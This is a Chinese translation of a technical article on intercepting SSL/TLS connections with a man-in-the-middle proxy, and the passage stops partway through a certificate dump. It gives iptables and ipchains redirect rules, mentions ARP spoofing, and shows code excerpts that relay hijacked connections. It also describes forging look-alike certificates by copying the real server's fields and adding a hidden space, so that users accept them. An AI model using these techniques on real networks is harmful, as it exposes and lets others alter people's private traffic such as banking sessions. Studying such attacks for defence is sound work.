作者:Stealth
翻译:nixe0n
简介
SSLv3的当前版本是3.1版,也被称为TLS。它提供了一种机制,在网络上进行安全的数据传输。它据说能够满足所有的安全需要,比如:你的银行帐户管理。
但是在这里我将告诉你,这实际上是不可能的。
在本文中,我首先将对SSL做一些介绍,这是非常重要的。不过,这里我们不会介绍诸如SSL是怎样实现连接的等深层问题,如果有兴趣,可以自己参考参考资料。
1.为什么使用SSL
SSL是为了实现网络数据传输中的如下目的设计的:
机密性
这是通过对数据进行加密实现的,在进行SSL握手时,SSL选择一种对称算法对数据进行加密,然后才在网络上传输数据。SSL使用的加密算法有好多种,如果某种算法被新的网络攻击方法识破,它只要选择另外的算法就可以了。
消息的完整性
SSL使用一种很健壮的信息验证码(Message Authentication Code),例如:SHA-1,验证码被放在数据包的后部,并且和数据一块被加密。这样,如果数据被修改,其散列值就无法和原来的验证码匹配,从而能够检测出数据是否被修改。MAC同时也被用于保护SSL连接免受干扰。
保护数据免受重放攻击(replay-attack)
SSL使用序列号来保护通讯方免受报文重放攻击。这个序列号被加密后作为数据包的负载。在整个SSL握手中中,都有一个唯一的随机数来标记这个SSL握手,这样重放便无机可乘。
免受recorder攻击(reorder-attack)
上面所说的序列号也可以防止攻击者记录数据包并以不同的次序发送。
端点验证
使用X509(当前版本是3)证书,SSL支持客户和服务器的验证。关于服务器的连接,我们稍后将深入介绍。
这听起来似乎很安全,但是看了本文介绍的程序,就就不这么想了。(不过,我们还不能打破客户端的验证)
使用本文介绍的攻击方法,我们就可以看到SSL连接上所有明文数据,根据我们的需要修改传输的数据,对数据进行中继发送,以错误的次序发送甚至丢弃我们不需要的报文。这种攻击方法就是所谓的途中人攻击(man in the middle attack,或者中间人攻击)。
2.X509数字证书
X509数字证书是SSL的一个组成部分。在SSL握手过程中,服务器向客户发送自己的数字证书。一个X509数字证书包括发行者的识别名(Distinguished Name)、主体(Subject)的识别名、一个版本号和序列号、选择的算法、密钥的有效期时间窗,还有主体的公钥。
主体(subject)是这个证书包含实体的名,证书中的公钥属于主体(Subject)。在平常的X509数字证书中,没有标志DNS名的域。通常,CN域被影射为DNS名,但是这只是一个客户和数字证书的实体必须都认可的协议。
发行者(issuer)是使用自己的私钥签发这个数字证书。它叫做数字证书中心(Certificate Authority,CA)。
让我们看一个X509数字证书:
stealth@lydia:sslmim> ./cf segfault.net 443|openssl x509 -text
Certificate:
Data:
Version: 1 (0x0)
Serial Number: 1 (0x1)
Signature Algorithm: md5WithRSAEncryption
Issuer: C=EU, ST=segfault, L=segfault,
O=www.segfault.net/Email=crew@segfault.net
Validity
Not Before: Nov 19 01:57:27 2000 GMT
Not After : Apr 5 01:57:27 2028 GMT
Subject: C=EU, ST=segfault, L=segfault, O=www.segfault.net,
CN=www.segfault.net/Email=crew@segfault.net
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
RSA Public Key: (1024 bit)
Modulus (1024 bit):
00:cd:64:2a:97:26:7a:9b:5c:52:5e:9c:9e:b3:a2:
e5:f5:0f:99:08:57:1b:68:3c:dd:22:36:c9:01:05:
e1:e5:a4:40:5e:91:35:8e:da:8f:69:a5:62:cf:cd:
70:dc:ca:d2:d7:92:03:5c:39:2a:6d:02:68:91:b9:
0d:d1:2c:c7:88:cb:ad:be:cc:e2:fa:03:55:a1:25:
47:15:35:8c:d9:78:ef:9f:6a:f6:5f:e6:9a:02:12:
a3:c2:b8:6a:32:0f:1d:9d:7b:2f:65:90:4e:ca:f7:
a0:e4:ae:55:91:09:e4:6e:01:e3:d1:71:1e:60:b1:
83:88:8f:c4:6a:8c:bb:26:fd
Exponent: 65537 (0x10001)
Signature Algorithm: md5WithRSAEncryption
7d:c7:43:c3:71:02:c8:2f:8c:76:9c:f3:45:4c:cf:6d:21:5d:
e3:8f:af:8f:e0:2e:3a:c8:53:36:6b:cf:f6:27:01:f0:ed:ee:
42:78:20:3d:7f:e3:55:1f:8e:f2:a0:8e:1a:1b:e0:76:ad:3e:
a0:fc:5b:ce:a6:c4:32:7b:64:f2:a4:0f:a3:be:a1:0e:a7:ca:
ed:67:39:07:65:6b:cc:e7:5a:9a:b0:3a:f3:5c:1a:18:d4:dd:
8c:8d:5a:9e:a0:63:e0:7d:af:7c:97:7c:89:17:0f:25:2f:a7:
80:d3:02:dc:88:7a:12:64:ec:8a:ff:e4:62:92:2e:7f:75:03:
82:f1
要点:
Issuer: C=EU, ST=segfault, L=segfault,
O=www.segfault.net/Email=crew@segfault.net
C、ST、L、O和Email构成发行者的识别名(distinguished name,DN)。
Subject:C=EU, ST=segfault, L=segfault, O=www.segfault.net,
CN=www.segfault.net/Email=crew@segfault.net
证书可以由一个公开的CA签发,或者由自己签发(就是所谓的自签发证书)。在这个例子中的证书就是由自己签发的。
这是没有被拦截的原始数字证书。后面我们将看一下如果有人拦截连接看起来会怎样。
当你的浏览器向https://segfault.net的连接时,这个证书会在SSL握手期间进行交换。证书中保存的公钥就被用于会话的加密。
为了具有pretty good层的安全性,证书应该由一个CA(你自己或者一个公开的CA)签发,客户有这个CA的公钥用于检查这个证书的合法性。如果客户没有这个CA的公钥,浏览器就会提示用户接受还是拒绝这个证书。这对于交互式的客户程序是必须的,不过事实上对于太多的站点发行的证书,客户并没有他们的公钥来检查证书的合法性。对于普通的交互式客户程序(例如:Netscape浏览器),这种情况就可能造成使SSL连接失去意义。
3.拦截
综上所述,X509数字证书是SSL的重要环节。它的任务就是保证客户和服务器之间的会话,并且它使用的密钥是正确的。
现在,想象一下我们伪装一个证书,并对一个SSL连接进行转发会怎么样。
这值得一试。我们的座右铭是“teile und herrsche(哪国英文?)”,这里我们必须解决两个问题:
a.劫持连接然后进行转发。
b.伪造一个数字证书,让客户以为他是和真正的服务器通讯。
a+b就是通常所说的途中人(man in the middle,又可以叫做中间人)攻击。从理论上X509应该能够阻止这种攻击,但是平常的交互式客户程序(例如:Netscape浏览器)所采取的证书检查方式使这种攻击方式有机可乘。
第一个问题很好解决,假设我们位于客户和服务器之间,我们只要在我们的防火墙上略施小计(最好是在Linux或者BSD上:P)把连接重定向就可以了,另外我们把自己的程序称为mimd。对于Linux-2.2.x(ipchains)版本的内核,使用如下规则就可以截获https包文,把它们导入输入(input)链:
ipchains -A input -s 0/0 -d 0/0 443 -j REDIRECT 10000 -p tcp
对于Linux-2.4.x内核(iptables),可以使用如下规则:
iptables -t nat -A OUTPUT -p tcp --sport 1000:3000 -dport 443\
-j REDIRECT --to-port 10000
要给出SSL客户的源端口,如果我们忽略了这一点,mimid就会进入一个无限的循环(iptables将会重定向已经重定向的流量)。mimd被绑定到8888端口,它不匹配这条规则。你的物理位置不必位于SSL连接双方中间,位于服务器局域网内或者客户机局域网内就足够了。使用ARP欺诈就可以很好地完成这个工作,甚至连防火墙规则都不必修改。
有了这些重定向规则,我们就可以着手建立的工具了。目标地址可以使用操作系统的API找到(getsockopt())。这个工具中的NS_Socket::dstaddr()函数在绝大多数操作系统中都可以成功编译。使用这个小程序,我们可以看到通过连接的数据。
为了使这个小程序能够看到连接的明文数据,我们需要使用SSL_accpet()和SSL_connect()调用。首先,我们需要调用(accept()接受客户程序的连接,接着使用SSL_connect()向真正的服务器发起连接请求。然后,执行真正的SSL_accept()。假设我们已经完成了初始化内容,比如:加载密钥文件等。这时,在客户端,客户程序(例如:浏览器)就会询问用户是否接受这个工具的证书。
但是,用户显然可以轻松认出这个证书是伪造的,因为他在浏览A公司的网站时,却收到B公司或者途中人的证书,必然会引起他的怀疑。
下面我们将会解决这个问题。SSL_connect()和SSL_accept()的顺序应该正确,我将对其进行解释。
4.DCA
如果用户接受伪造的证书,我们就可以使用SSL_read()读出连接的明文数据,并使用SSL_write()把它们转发到真正的服务器。现在我们就着手解决如何伪造证书的问题。
记住:在SSL_connect()要先于SSL_accept()调用,这样服务器可以把我们看做合法的用户,和我们进行正常的SSL握手,从而我们可以得到服务器的证书。
下面我们看一下实际的代码:
//阻塞,等待iptables劫持的连接
while ((afd = accept(sfd, (sockaddr*)&from, &socksize)) >= 0) {
// 获得连接真正的
// 目的地址
if (NS_Socket::dstaddr(afd, &dst) < 0) {
log(NS_Socket::why());
die(NULL);
}
...
++i;//一个全局变量记录被劫持连接的数量
if (fork() == 0) {//fork出一个进程,由子进程处理被劫持的连接,父进程继续等待连接
// 成为真正目的服务器的客户
if ((sfd2 = socket(PF_INET, SOCK_STREAM, 0)) < 0) {
log("main::socket");
die(NULL);
}
if (NS_Socket::bind_local(sfd2, 8888+i, 0) < 0) {
log(NS_Socket::why());
die(NULL);
}//把套接字绑定到本地端口,可以同时处理多个连接
// 向真正的服务器发起连接
if (connect(sfd2, (struct sockaddr*)&dst,
sizeof(dst)) < 0) {
log("main::connect");
die(NULL);
}
...
client->start();
client->fileno(sfd2); // 使用sfd2和真正的服务器进行连接
// 进行SSL握手以建立SSL连接
if (client->connect() < 0) {
log("Clientside handshake failed. Aborting.");
die(NULL);
}
现在,我们和真正服务器之间的SSL握手已经完成。注意,在源代码中,SSL_connect()和SSL_accept()两个函数都被封装到了client和server对象中。现在,我们可以准备自己作为SSL服务器和SSL客户之间的连接了:
// 服务器端
server->start(); // 建立SSL对象
server->fileno(afd); // 使用afd套接字接受客户连接
我们进行真正的伪造,调用SSL_accept():
if (enable_dca)
NS_DCA::do_dca(client, server);
动态证书装配(Dynamic Certificate Assembly)函数do_dca()进行如下工作:
给一个几乎是空白的证书(除了C域之外,其它RDN全部为空),do_dca()使用和服务器进行SSL握手获得的内容填充剩下的RDN域。我们抽取L、ST、O、CN、OU和EMAIL域,把它们放到我们自己的证书,然后把这个证书显示给SSL客户。为了完成这个工作,do_dca()使用了字符串解析(抽取RDN域),并调用OpenSSL提供的using X509_()函数。
在证书发行者的OU域(OrganizationalUnit,原来为空)我们填上一个空格,这个空格不会在SSL客户程序的窗口中显示出来,但是可以把伪造的新证书和来自公共CA的证书区别开。当这个伪造的证书到达SSL客户程序之后,客户程序就会提示用户是否接收这个证书,用户看来这个证书来自一个已知的可信任的CA(实际上,OU域多了一个空格:P,但是用户看不出来),而对于SSL客户程序来说,它知道这个证书不是来自用户看到的CA(差一个空格呢:P),因此找不到这个CA的公钥,只好提示用户,让用户定夺是否接受这个证书。这时,被愚弄的用户一般会接受这个证书。
现在我们可以修改发行者的subject域(CN...),把前面的X509证书变成自签发(self-signed)证书。用户无法知道自签发证书是伪造的。
然后,把被重新装配的证书显示给客户:
// do SSL handshake as fake-server
if (server->accept() < 0) {
log("Serverside handshake failed. Aborting.");
die(NULL);
}
ssl_forward(client, server);
ssl_forward()函数只是循环调用SSL_read/SSL_write函数,记录传输的明文数据。我们也可以随心所欲地修改传递的数据。
下面在mimd激活之后(没有使用-I选项),我们使用cf取回来自https服务器的X509证书:
stealth@lydia:sslmim> ./cf segfault.net 443|openssl x509 -text
Certificate:
Data:
Version: 3 (0x2)
Serial Number: 1 (0x1)
Signature Algorithm: md5WithRSAEncryption
Issuer: C=US, C=EU, ST=segfault, L=segfault,
O=www.segfault.net, OU= /Email=crew@segfault.net
Validity
Not Before: Mar 20 13:42:12 2001 GMT
Not After : Mar 20 13:42:12 2002 GMT
Subject: C=US, C=EU, ST=segfault, L=segfault, O=www.segfault.net,
CN=www.segfault.net/Email=crew@segfault.net
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
RSA Public Key: (1024 bit)